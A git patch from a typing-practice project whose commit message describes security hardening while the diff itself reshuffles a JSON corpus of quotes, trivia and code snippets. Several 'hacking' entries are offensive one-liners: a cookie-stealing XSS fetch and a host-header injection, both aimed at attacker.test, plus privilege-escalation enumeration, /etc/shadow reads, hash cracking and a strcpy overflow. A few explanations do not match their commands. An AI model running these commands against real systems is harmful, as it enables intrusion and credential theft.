From 1740327557074df0c8b99635ee949e2540ac94d0 Mon Sep 17 00:00:00 2001
From: srdusr <99972264+srdusr@users.noreply.github.com>
Date: Mon, 15 Dec 2025 20:44:00 +0200
Subject: Harden for production: dependencies, headers, admin roles, docs

Dependencies
- The server build carried 37 known advisories, including RUSTSEC-2024-0363
  in sqlx 0.7, which is the database layer. sqlx moved to 0.8 with
  default-features off, which also drops the MySQL and SQLite drivers and
  with them rsa and RUSTSEC-2023-0071. reqwest moved to 0.12, which brings
  hyper 1.x and was the sole source of every remaining advisory: h2 0.3,
  rustls-webpki 0.101, rustls-pemfile 1.0 and idna 0.3.
- The server build now reports no known vulnerabilities against OSV. cargo
  audit itself would not compile, so the check queries OSV with the crate
  versions cargo tree reports for the server binary.
- Cargo.lock is committed. This workspace produces binaries, so the lockfile
  is what makes a deployed build reproducible and the audit above meaningful.

Headers
- The application sent no security headers at all. The static server now
  sends a Content-Security-Policy, nosniff, frame options, a referrer policy
  and a permissions policy; the API sends a policy of its own, since it
  serves JSON and should load and frame nothing.
- The one inline script in index.html moved to a file so script-src needs no
  unsafe-inline. WebAssembly needs wasm-unsafe-eval, without which nothing
  types at all, so that is present and explained.
- Five style attributes moved to the CSSOM rather than adding unsafe-inline
  for styles. A style attribute in markup is refused by the policy; the same
  property set through element.style is not.

Production configuration
- With TYPERPUNK_ENV=production the server refuses to start if COOKIE_SECURE
  is off, if DATABASE_URL is still the development default, or if
  FRONTEND_ORIGIN is http on a non-local host. These were warnings, and a
  warning in a log nobody reads is not a safeguard.

Administration
- Moderators were appointed with psql. There is now an admin role,
  bootstrapped from TYPERPUNK_ADMIN_USERNAME at startup, and a UI to appoint
  and remove moderators. An administrator's own role cannot be changed
  through the API, so a mistake cannot lock everyone out of moderation.

Corpus
- scripts/export_approved.js writes approved submissions back into
  data/packs/community-*.json. Approved passages are served from the database
  and merged at startup, so without this the repository dataset and the live
  corpus drift apart, and a fresh checkout or the TUI sees only what shipped.

Documentation
- README rewritten for the repository: what it does, how to run it, the pack
  format, the server variables, deployment, and what the security posture
  actually is. Plain English, no em dashes, no emoji.

Checked and found already correct: every private endpoint refuses anonymous
callers, session cookies are HttpOnly and SameSite=Lax, CORS names a single
origin, internal errors are logged rather than returned, and every query is
parameterised.
---
 web/src/data/texts.json | 2329 ++++++++++++++++++++++++-----------------------
 1 file changed, 1167 insertions(+), 1162 deletions(-)

(limited to 'web/src/data')

diff --git a/web/src/data/texts.json b/web/src/data/texts.json
index 2830aa6..a91d202 100644
--- a/web/src/data/texts.json
+++ b/web/src/data/texts.json
@@ -1,155 +1,149 @@
 [
   {
-    "category": "anime",
-    "content": "Don't believe in yourself. Believe in me who believes in you.",
-    "attribution": "Gurren Lagann"
+    "category": "science",
+    "content": "Imagination is more important than knowledge. Knowledge is limited. Imagination encircles the world.",
+    "attribution": "Albert Einstein"
   },
   {
-    "category": "history",
-    "content": "We must always take sides. Neutrality helps the oppressor, never the victim. Silence encourages the tormentor.",
-    "attribution": "Elie Wiesel, 1986"
+    "category": "movies",
+    "content": "It's only after we've lost everything that we're free to do anything.",
+    "attribution": "Fight Club (1999)"
   },
   {
     "category": "sysadmin",
-    "content": "awk -F: '$7 !~ /(nologin|false)$/ {print $1, $7}' /etc/passwd",
+    "content": "sudo awk -F: '$2 == \"\" {print $1}' /etc/shadow",
     "attribution": "Users",
     "language": "shell",
-    "explanation": "Accounts with a real login shell, which is the set that can actually sign in."
+    "explanation": "Accounts with an empty password field. Should return nothing on any machine you care about."
   },
   {
     "category": "hacking",
-    "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'",
-    "attribution": "Defence",
+    "content": "find / -perm -4000 -type f 2>/dev/null",
+    "attribution": "Post-exploitation",
     "language": "shell",
-    "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here."
+    "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it."
   },
   {
-    "category": "general",
-    "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity."
+    "category": "technology",
+    "content": "A ship in port is safe, but that's not what ships are built for.",
+    "attribution": "Grace Hopper"
   },
   {
-    "category": "anime",
-    "content": "When do you think people die? When they are forgotten.",
-    "attribution": "One Piece"
+    "category": "business",
+    "content": "When a measure becomes a target, it ceases to be a good measure.",
+    "attribution": "Goodhart's Law"
   },
   {
-    "category": "general",
-    "content": "The quick brown fox jumps over the lazy dog."
+    "category": "business",
+    "content": "Your brand is what other people say about you when you're not in the room.",
+    "attribution": "Jeff Bezos"
   },
   {
-    "category": "philosophy",
-    "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control."
+    "category": "anime",
+    "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
+    "attribution": "Vinland Saga"
   },
   {
-    "category": "hacking",
-    "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u",
-    "attribution": "Recon",
-    "language": "shell",
-    "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints."
+    "category": "programming",
+    "content": "*counts.entry(word).or_insert(0) += 1;",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "entry().or_insert_with() looks the key up once. The obvious contains_key-then-insert hashes it twice."
   },
   {
-    "category": "science",
-    "content": "Science and everyday life cannot and should not be separated.",
-    "attribution": "Rosalind Franklin"
+    "category": "sysadmin",
+    "content": "journalctl -u nginx -n 50 --no-pager -p err",
+    "attribution": "systemd",
+    "language": "shell",
+    "explanation": "Why a unit failed, without paging through the whole journal. -u scopes to the unit, -n limits the lines, --no-pager keeps it in the pipeline."
   },
   {
-    "category": "anime",
-    "content": "What I want more than anything is for you to live and help me live too.",
-    "attribution": "A Silent Voice"
+    "category": "programming",
+    "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
   },
   {
-    "category": "nature",
-    "content": "No one will protect what they don't care about, and no one will care about what they have never experienced.",
-    "attribution": "David Attenborough"
+    "category": "history",
+    "content": "The world will little note nor long remember what we say here, but it can never forget what they did here.",
+    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
   },
   {
-    "category": "hacking",
-    "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))",
-    "attribution": "Web",
-    "language": "javascript",
-    "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it."
+    "category": "shell",
+    "content": "curl -s https://api.example.com/users | jq -r '.[] | select(.active) | .email'",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "jq selects and reshapes JSON. -r prints raw strings, so the output is usable by the next command rather than quoted."
   },
   {
-    "category": "business",
-    "content": "A wealth of information creates a poverty of attention.",
-    "attribution": "Herbert Simon"
+    "category": "science",
+    "content": "What you do makes a difference, and you have to decide what kind of difference you want to make.",
+    "attribution": "Jane Goodall"
   },
   {
-    "category": "general",
-    "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp."
+    "category": "business",
+    "content": "Management is doing things right; leadership is doing the right things.",
+    "attribution": "Peter Drucker"
   },
   {
-    "category": "anime",
-    "content": "We fear that which we cannot see.",
-    "attribution": "Bleach"
+    "category": "nature",
+    "content": "Wilderness is not a luxury but a necessity of the human spirit.",
+    "attribution": "Edward Abbey, Desert Solitaire"
   },
   {
-    "category": "business",
-    "content": "Success breeds complacency. Complacency breeds failure. Only the paranoid survive.",
-    "attribution": "Andy Grove, Only the Paranoid Survive"
+    "category": "philosophy",
+    "content": "The impediment to action advances action. What stands in the way becomes the way.",
+    "attribution": "Marcus Aurelius, Meditations"
   },
   {
-    "category": "sysadmin",
-    "content": "ip route get 8.8.8.8",
-    "attribution": "Network",
-    "language": "shell",
-    "explanation": "Which route the kernel will actually use for a destination, including the source address it will pick."
+    "category": "general",
+    "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron."
   },
   {
-    "category": "quotes",
-    "content": "Whatever you are, be a good one.",
-    "attribution": "Abraham Lincoln"
+    "category": "general",
+    "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered."
   },
   {
-    "category": "nature",
-    "content": "The land is one great wild, untidy, luxuriant hothouse, made by nature for herself.",
-    "attribution": "Charles Darwin, The Voyage of the Beagle"
+    "category": "history",
+    "content": "It was we, the people, not we, the white male citizens, nor yet we, the male citizens, who formed this Union.",
+    "attribution": "Susan B. Anthony, 1873"
   },
   {
-    "category": "science",
-    "content": "The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.",
-    "attribution": "Stephen Hawking"
+    "category": "history",
+    "content": "Injustice anywhere is a threat to justice everywhere.",
+    "attribution": "Martin Luther King Jr., Letter from Birmingham Jail, 1963"
   },
   {
     "category": "nature",
-    "content": "The earth is what we all have in common.",
-    "attribution": "Wendell Berry"
-  },
-  {
-    "category": "sysadmin",
-    "content": "chmod --reference=/etc/passwd /etc/passwd.new && chown --reference=/etc/passwd /etc/passwd.new",
-    "attribution": "Permissions",
-    "language": "shell",
-    "explanation": "Copies the ownership and mode of one file onto another, rather than typing the numbers and getting them wrong."
+    "content": "The mountains are calling and I must go.",
+    "attribution": "John Muir"
   },
   {
     "category": "programming",
-    "content": "SELECT user_id, wpm, RANK() OVER (PARTITION BY mode ORDER BY wpm DESC) AS rank FROM results;",
-    "attribution": "SQL",
-    "language": "clike",
-    "explanation": "A window function ranks rows within each partition without collapsing them, which a GROUP BY cannot do."
-  },
-  {
-    "category": "literature",
-    "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
-    "attribution": "Jane Austen, Pride and Prejudice"
+    "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
   },
   {
     "category": "hacking",
-    "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403",
-    "attribution": "Web",
+    "content": "getcap -r / 2>/dev/null | grep -E 'cap_(setuid|dac_override|sys_admin)'",
+    "attribution": "Post-exploitation",
     "language": "shell",
-    "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories."
+    "explanation": "Capabilities are finer-grained than setuid but grant real power. cap_setuid on an interpreter is root."
   },
   {
-    "category": "technology",
-    "content": "We can only see a short distance ahead, but we can see plenty there that needs to be done.",
-    "attribution": "Alan Turing, Computing Machinery and Intelligence"
+    "category": "nature",
+    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life.",
+    "attribution": "Henry David Thoreau, Walden"
   },
   {
-    "category": "business",
-    "content": "A bad system will beat a good person every time.",
-    "attribution": "W. Edwards Deming"
+    "category": "shell",
+    "content": "awk -F, 'NF != 3 {print NR\": \"$0}' data.csv",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "NR is the current line number, NF the field count. This finds malformed rows: any line that does not have exactly three fields."
   },
   {
     "category": "history",
@@ -157,364 +151,354 @@
     "attribution": "Cicero"
   },
   {
-    "category": "nature",
-    "content": "In every walk with nature one receives far more than he seeks.",
-    "attribution": "John Muir"
-  },
-  {
-    "category": "science",
-    "content": "Somewhere, something incredible is waiting to be known.",
-    "attribution": "Carl Sagan"
+    "category": "business",
+    "content": "Success breeds complacency. Complacency breeds failure. Only the paranoid survive.",
+    "attribution": "Andy Grove, Only the Paranoid Survive"
   },
   {
-    "category": "literature",
-    "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
-    "attribution": "Herman Melville, Moby-Dick"
+    "category": "technology",
+    "content": "Design is not just what it looks like and feels like. Design is how it works.",
+    "attribution": "Steve Jobs"
   },
   {
-    "category": "business",
-    "content": "The purpose of business is to create and keep a customer.",
-    "attribution": "Peter Drucker"
+    "category": "nature",
+    "content": "There lives the dearest freshness deep down things.",
+    "attribution": "Gerard Manley Hopkins, God's Grandeur"
   },
   {
-    "category": "technology",
-    "content": "The most damaging phrase in the language is: we've always done it this way.",
-    "attribution": "Grace Hopper"
+    "category": "programming",
+    "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
+    "attribution": "Go",
+    "language": "clike",
+    "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
   },
   {
     "category": "hacking",
-    "content": "forged = hashlib.sha256(secret_len * b'\\x00' + original + padding + suffix).hexdigest()",
+    "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force",
     "attribution": "Crypto",
-    "language": "python",
-    "explanation": "A length-extension attack works because the hash's internal state is its output. HMAC exists precisely to stop this."
+    "language": "shell",
+    "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years."
   },
   {
-    "category": "history",
-    "content": "There are many causes that I am prepared to die for but no causes that I am prepared to kill for.",
-    "attribution": "Mahatma Gandhi"
+    "category": "movies",
+    "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
+    "attribution": "Forrest Gump (1994)"
   },
   {
-    "category": "business",
-    "content": "Management is doing things right; leadership is doing the right things.",
-    "attribution": "Peter Drucker"
+    "category": "quotes",
+    "content": "The two most important days in your life are the day you are born and the day you find out why.",
+    "attribution": "Mark Twain"
   },
   {
-    "category": "technology",
-    "content": "Talk is cheap. Show me the code.",
-    "attribution": "Linus Torvalds"
+    "category": "business",
+    "content": "A bad system will beat a good person every time.",
+    "attribution": "W. Edwards Deming"
   },
   {
     "category": "history",
-    "content": "It was we, the people, not we, the white male citizens, nor yet we, the male citizens, who formed this Union.",
-    "attribution": "Susan B. Anthony, 1873"
+    "content": "That's one small step for a man, one giant leap for mankind.",
+    "attribution": "Neil Armstrong, 1969"
   },
   {
-    "category": "philosophy",
-    "content": "The impediment to action advances action. What stands in the way becomes the way.",
-    "attribution": "Marcus Aurelius, Meditations"
+    "category": "programming",
+    "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
   },
   {
-    "category": "history",
-    "content": "The only thing we have to fear is fear itself: nameless, unreasoning, unjustified terror.",
-    "attribution": "Franklin D. Roosevelt, 1933"
+    "category": "general",
+    "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat."
   },
   {
-    "category": "technology",
-    "content": "Adding manpower to a late software project makes it later.",
-    "attribution": "Fred Brooks, The Mythical Man-Month"
+    "category": "anime",
+    "content": "Even if you can't see it, the river keeps flowing under the ice.",
+    "attribution": "March Comes in Like a Lion"
   },
   {
-    "category": "programming",
-    "content": "struct node { int value; struct node *next; };",
-    "attribution": "C",
-    "language": "clike",
-    "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
+    "category": "hacking",
+    "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'",
+    "attribution": "Web",
+    "language": "shell",
+    "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable."
   },
   {
-    "category": "science",
-    "content": "If you know you are on the right track, if you have this inner knowledge, then nobody can turn you off.",
-    "attribution": "Barbara McClintock"
+    "category": "movies",
+    "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
+    "attribution": "The Usual Suspects (1995)"
   },
   {
-    "category": "shell",
-    "content": "set -euo pipefail",
-    "attribution": "Shell safety",
+    "category": "sysadmin",
+    "content": "du -xh --max-depth=1 / 2>/dev/null | sort -rh | head -15",
+    "attribution": "Disk",
     "language": "shell",
-    "explanation": "The unofficial strict mode: exit on error, exit on undefined variable, and fail a pipeline if any stage fails rather than only the last."
+    "explanation": "Largest directories at this level, human readable. -x stays on one filesystem so it does not wander into /proc or a mount."
   },
   {
-    "category": "anime",
-    "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
-    "attribution": "Vinland Saga"
+    "category": "hacking",
+    "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40",
+    "attribution": "Recon",
+    "language": "shell",
+    "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live."
   },
   {
     "category": "hacking",
-    "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'",
-    "attribution": "Post-exploitation",
-    "language": "shell",
-    "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working."
+    "content": "forged = hashlib.sha256(secret_len * b'\\x00' + original + padding + suffix).hexdigest()",
+    "attribution": "Crypto",
+    "language": "python",
+    "explanation": "A length-extension attack works because the hash's internal state is its output. HMAC exists precisely to stop this."
   },
   {
-    "category": "business",
-    "content": "Your brand is what other people say about you when you're not in the room.",
-    "attribution": "Jeff Bezos"
+    "category": "literature",
+    "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
+    "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
   },
   {
-    "category": "anime",
-    "content": "This world is rotten, and those who are making it rot deserve to die.",
-    "attribution": "Death Note"
+    "category": "general",
+    "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun."
   },
   {
-    "category": "hacking",
-    "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location",
-    "attribution": "Web",
+    "category": "philosophy",
+    "content": "The Socratic method uses a series of questions and answers to expose contradictions in a person's beliefs, encouraging deeper critical thinking rather than simply providing answers."
+  },
+  {
+    "category": "shell",
+    "content": "for f in \"$@\"; do printf '%s\\n' \"${f%.*}\"; done",
+    "attribution": "Shell safety",
     "language": "shell",
-    "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection."
+    "explanation": "Quoting \"$@\" preserves each argument exactly, including ones containing spaces. Unquoted $@ splits them apart."
   },
   {
-    "category": "quotes",
-    "content": "Failure is impossible.",
-    "attribution": "Susan B. Anthony"
+    "category": "anime",
+    "content": "Overspecialize, and you breed in weakness. It's slow death.",
+    "attribution": "Ghost in the Shell"
   },
   {
-    "category": "sysadmin",
-    "content": "docker system prune -af --volumes --filter 'until=168h'",
-    "attribution": "Containers",
-    "language": "shell",
-    "explanation": "Removes stopped containers, unused networks and dangling images. The usual cause of a full disk on a build host."
+    "category": "quotes",
+    "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
+    "attribution": "Theodore Roosevelt, Citizenship in a Republic"
   },
   {
-    "category": "hacking",
-    "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */",
-    "attribution": "Memory safety",
-    "language": "clike",
-    "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger."
+    "category": "literature",
+    "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
+    "attribution": "H.G. Wells, The Time Machine"
   },
   {
-    "category": "movies",
-    "content": "Louis, I think this is the beginning of a beautiful friendship.",
-    "attribution": "Casablanca (1942)"
+    "category": "anime",
+    "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
+    "attribution": "Princess Mononoke"
   },
   {
-    "category": "hacking",
-    "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')",
-    "attribution": "Defence",
-    "language": "python",
-    "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing."
+    "category": "literature",
+    "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
+    "attribution": "Bram Stoker, Dracula"
   },
   {
     "category": "programming",
-    "content": "let config: Config = toml::from_str(&fs::read_to_string(path)?)?;",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "The ? operator returns early on Err, converting the error type through From. It is what keeps error handling from nesting."
+    "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
+    "attribution": "Java",
+    "language": "clike",
+    "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
   },
   {
-    "category": "general",
-    "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface."
+    "category": "literature",
+    "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
+    "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
   },
   {
     "category": "sysadmin",
-    "content": "find /etc /usr -type f -perm -o+w -ls 2>/dev/null",
-    "attribution": "Permissions",
-    "language": "shell",
-    "explanation": "World-writable files outside the places that are meant to be. A common way a service ends up modifiable by anyone."
-  },
-  {
-    "category": "programming",
-    "content": "git bisect start HEAD v1.2.0 && git bisect run ./test.sh",
-    "attribution": "Git",
+    "content": "ssh -o ControlMaster=auto -o ControlPersist=10m -o ControlPath=~/.ssh/cm-%r@%h:%p host",
+    "attribution": "SSH",
     "language": "shell",
-    "explanation": "Finds the commit that introduced a bug by bisecting history. Give it a known-good and known-bad commit and it halves the range each step."
+    "explanation": "Reuses one connection for subsequent sessions, so every later ssh or scp to the same host skips the handshake."
   },
   {
     "category": "programming",
-    "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
+    "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
     "attribution": "JavaScript",
     "language": "javascript",
-    "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
+    "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
   },
   {
-    "category": "programming",
-    "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
+    "category": "movies",
+    "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
+    "attribution": "The Matrix (1999)"
   },
   {
-    "category": "sysadmin",
-    "content": "sudo awk -F: '$2 == \"\" {print $1}' /etc/shadow",
-    "attribution": "Users",
-    "language": "shell",
-    "explanation": "Accounts with an empty password field. Should return nothing on any machine you care about."
+    "category": "science",
+    "content": "What we observe is not nature itself, but nature exposed to our method of questioning.",
+    "attribution": "Werner Heisenberg"
   },
   {
-    "category": "shell",
-    "content": "awk '{bytes[$1] += $10} END {for (ip in bytes) print bytes[ip], ip}' access.log | sort -rn | head",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "Associative arrays are awk's real power. This sums bytes per IP in one pass, then END prints the totals once input is exhausted."
+    "category": "philosophy",
+    "content": "A journey of a thousand miles begins with a single step.",
+    "attribution": "Lao Tzu, Tao Te Ching"
   },
   {
-    "category": "nature",
-    "content": "The earth does not belong to us. We belong to the earth.",
-    "attribution": "Chief Seattle"
+    "category": "philosophy",
+    "content": "It is not that we have a short time to live, but that we waste a lot of it.",
+    "attribution": "Seneca, On the Shortness of Life"
   },
   {
-    "category": "quotes",
-    "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
-    "attribution": "Thomas Edison"
+    "category": "history",
+    "content": "You have to make more noise than anybody else, you have to fill all the papers more than anybody else.",
+    "attribution": "Emmeline Pankhurst, 1913"
   },
   {
-    "category": "technology",
-    "content": "We shape our tools, and thereafter our tools shape us.",
-    "attribution": "Marshall McLuhan"
+    "category": "science",
+    "content": "Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less.",
+    "attribution": "Marie Curie"
   },
   {
-    "category": "quotes",
-    "content": "The only limit to our realization of tomorrow is our doubts of today.",
-    "attribution": "Franklin D. Roosevelt"
+    "category": "hacking",
+    "content": "grep -rE '^[^#].*(ALL|NOPASSWD)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Audits which accounts can escalate, and how. The answer is usually longer than anyone expects."
   },
   {
     "category": "sysadmin",
-    "content": "systemctl cat sshd.service && systemctl show sshd -p ExecStart",
-    "attribution": "systemd",
+    "content": "find /etc /usr -type f -perm -o+w -ls 2>/dev/null",
+    "attribution": "Permissions",
     "language": "shell",
-    "explanation": "Shows what a unit will actually run, including drop-ins, after every override has been merged."
+    "explanation": "World-writable files outside the places that are meant to be. A common way a service ends up modifiable by anyone."
   },
   {
-    "category": "technology",
-    "content": "The question of whether a computer can think is no more interesting than the question of whether a submarine can swim.",
-    "attribution": "Edsger Dijkstra"
+    "category": "anime",
+    "content": "If everyone is not special, maybe you can be what you want to be.",
+    "attribution": "Mob Psycho 100"
   },
   {
-    "category": "programming",
-    "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
-    "attribution": "Shell",
-    "language": "shell",
-    "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
+    "category": "movies",
+    "content": "What we do in life echoes in eternity.",
+    "attribution": "Gladiator (2000)"
   },
   {
     "category": "science",
-    "content": "Extraordinary claims require extraordinary evidence.",
-    "attribution": "Carl Sagan, The Demon-Haunted World"
+    "content": "The cosmos is within us. We are made of star-stuff. We are a way for the universe to know itself.",
+    "attribution": "Carl Sagan, Cosmos"
+  },
+  {
+    "category": "programming",
+    "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
+  },
+  {
+    "category": "programming",
+    "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
   },
   {
     "category": "history",
-    "content": "We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard.",
-    "attribution": "John F. Kennedy, 1962"
+    "content": "I have a dream that my four little children will one day live in a nation where they will not be judged by the colour of their skin.",
+    "attribution": "Martin Luther King Jr., 1963"
   },
   {
     "category": "literature",
-    "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
-    "attribution": "Joseph Conrad, Heart of Darkness"
+    "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
+    "attribution": "Herman Melville, Moby-Dick"
   },
   {
-    "category": "literature",
-    "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
-    "attribution": "Mark Twain, Adventures of Huckleberry Finn"
+    "category": "programming",
+    "content": "let config: Config = toml::from_str(&fs::read_to_string(path)?)?;",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "The ? operator returns early on Err, converting the error type through From. It is what keeps error handling from nesting."
+  },
+  {
+    "category": "history",
+    "content": "I have cherished the ideal of a democratic and free society in which all persons live together in harmony and with equal opportunities.",
+    "attribution": "Nelson Mandela, 1964"
   },
   {
     "category": "business",
-    "content": "Organisations design systems which are copies of the communication structures of those organisations.",
-    "attribution": "Conway's Law"
+    "content": "The market can remain irrational longer than you can remain solvent.",
+    "attribution": "John Maynard Keynes"
   },
   {
     "category": "anime",
-    "content": "Once you've met someone, you never really forget them.",
-    "attribution": "Spirited Away"
+    "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
+    "attribution": "Naruto"
+  },
+  {
+    "category": "hacking",
+    "content": "lsmod | awk 'NR>1 {print $1}' | while read m; do modinfo -n \"$m\" 2>/dev/null; done | grep -v '^/lib/modules'",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Compares running kernel modules against what the package manager installed. An unexpected module is worth explaining."
   },
   {
     "category": "movies",
-    "content": "I love the smell of napalm in the morning.",
-    "attribution": "Apocalypse Now (1979)"
+    "content": "All those moments will be lost in time, like tears in rain. Time to die.",
+    "attribution": "Blade Runner (1982)"
   },
   {
-    "category": "anime",
-    "content": "Anywhere can be paradise as long as you have the will to live.",
-    "attribution": "Neon Genesis Evangelion"
+    "category": "nature",
+    "content": "In wildness is the preservation of the world.",
+    "attribution": "Henry David Thoreau, Walking"
   },
   {
     "category": "movies",
-    "content": "I am big. It's the pictures that got small.",
-    "attribution": "Sunset Boulevard (1950)"
-  },
-  {
-    "category": "technology",
-    "content": "Technology is neither good nor bad; nor is it neutral.",
-    "attribution": "Melvin Kranzberg"
-  },
-  {
-    "category": "programming",
-    "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
+    "content": "What we've got here is failure to communicate.",
+    "attribution": "Cool Hand Luke (1967)"
   },
   {
-    "category": "movies",
-    "content": "Get busy living, or get busy dying.",
-    "attribution": "The Shawshank Redemption (1994)"
+    "category": "anime",
+    "content": "We fear that which we cannot see.",
+    "attribution": "Bleach"
   },
   {
-    "category": "general",
